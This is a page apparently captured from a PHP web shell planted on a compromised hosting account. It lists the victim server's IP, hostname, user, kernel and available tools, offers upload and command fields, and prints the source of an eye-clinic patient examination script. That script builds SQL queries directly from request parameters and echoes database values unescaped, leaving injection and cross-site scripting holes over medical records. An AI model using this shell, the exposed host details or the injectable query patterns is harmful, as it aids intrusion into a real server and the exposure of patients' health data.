Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.163.238
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/examnation.php
<?php
session_start();
include("dbconnection.php");

require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
if(isset($_POST[oneexamnation]))
{
		PatientManager::oneexamnation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Examination]","$_POST[eye]","$_POST[Result]","$_POST[left_result]","$_POST[entered_by]");
	 }
	 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}


?>
<!DOCTYPE html>
<html>  <head>
    <title>Title of the document</title>
    <style>
    
    .box{
              display: none;
    
    }
    
     .box1{
              display: none;
    
    }
    
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #aaa;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }
      
    </style>
     <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box1").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box1").hide();
            }
        });
    }).change();
});
</script>
    
  </head>
  <body>
      
   
          
        
    <h2 Align="center">Examination </h2>
    <p align="right">
      <button class="button" data-modal="modalOne"> Add Examination</button>
    </p>
           <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    <th>Examination</th>
							<th>Right Eye</th>
							<th>Left Eye</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM onexamnation WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>     <td>&nbsp;$rs[Examination]</td>
                     <td>&nbsp;$rs[Result]</td>
               		<td>&nbsp; $rs[left_result]</td>
          </tr>                   
          
          ";
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
    <div id="modalOne" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="oneexamnation" method="post">
	<label>Examination</label>
				<select class="form-control" name="Examination" id="Examination">
    <option value="" disabled selected>Examination  </option>
   <option value="NCT"> NCT</option>
<option value="AT">AT</option>
<option value="BASE LINE IOP (With Glasses)">BASE LINE IOP (With Glasses)</option>
<option value="BASE LINE IOP (Without Glasses)">BASE LINE IOP (Without Glasses)</option>
<option value="CCT">CCT</option>
<option value="UCVA">UCVA</option>
<option value="DSPH">DSPH</option>
<option value="DCLY">DCLY</option>
<option value="Axis">Axis</option>
<option value="PGVA">PGVA</option>
<option value="PHVA">PHVA</option>
<option value="Vision (With Glasses)">Vision (With Glasses) </option>
<option value="Vision (Without
Glasses)">Vision (Without
Glasses)</option>
<option value="Vision (with lens)">Vision (with lens)</option>
<option value="CSL">CSL</option>
<option value="Retinoscopy">Retinoscopy</option>
<option value="Squint">Squint</option>
<option value="fundus">fundus</option>
<option value="Top con">Top con</option>
<option value="Auto ref">Auto ref</option>
<option value="Specular">Specular</option>
<option value="A Scan">A Scan</option>
<option value="B scan">B scan</option>
<option value="Adnexa">Adnexa</option>
<option value="Ant Segment">Ant Segment</option>
<option value="Pachy">Pachy</option>
<option value="Pupil">Pupil</option>
<option value="Gonioscop ">Gonioscop </option>
    
	</select>
				
				<label>Eye</label>
			<select name='eye'>
			        <option value="" disabled selected>Examination  </option>
			    <option value='Left'>Left Eye</option>
			        <option value='Right'>Right Eye</option>
			</select>
			
				  <p class="Left box">
				<label>Result</label>
				<input type="text" placeholder="Result" name="left_result" id="left_result" class="form-control"/>
			</p>
			  <p class="Right box1">
				<label>Result</label>
				<input type="text" placeholder="Result" name="Result" id="Result" class="form-control"/>
			</p>
		       <input type="submit" value="Add More" name="oneexamnation">
      </form>
         
   </div>   </div>   </div>
   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
            <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
  </body>
</html>

Anon7 - 2022
AnonSec Team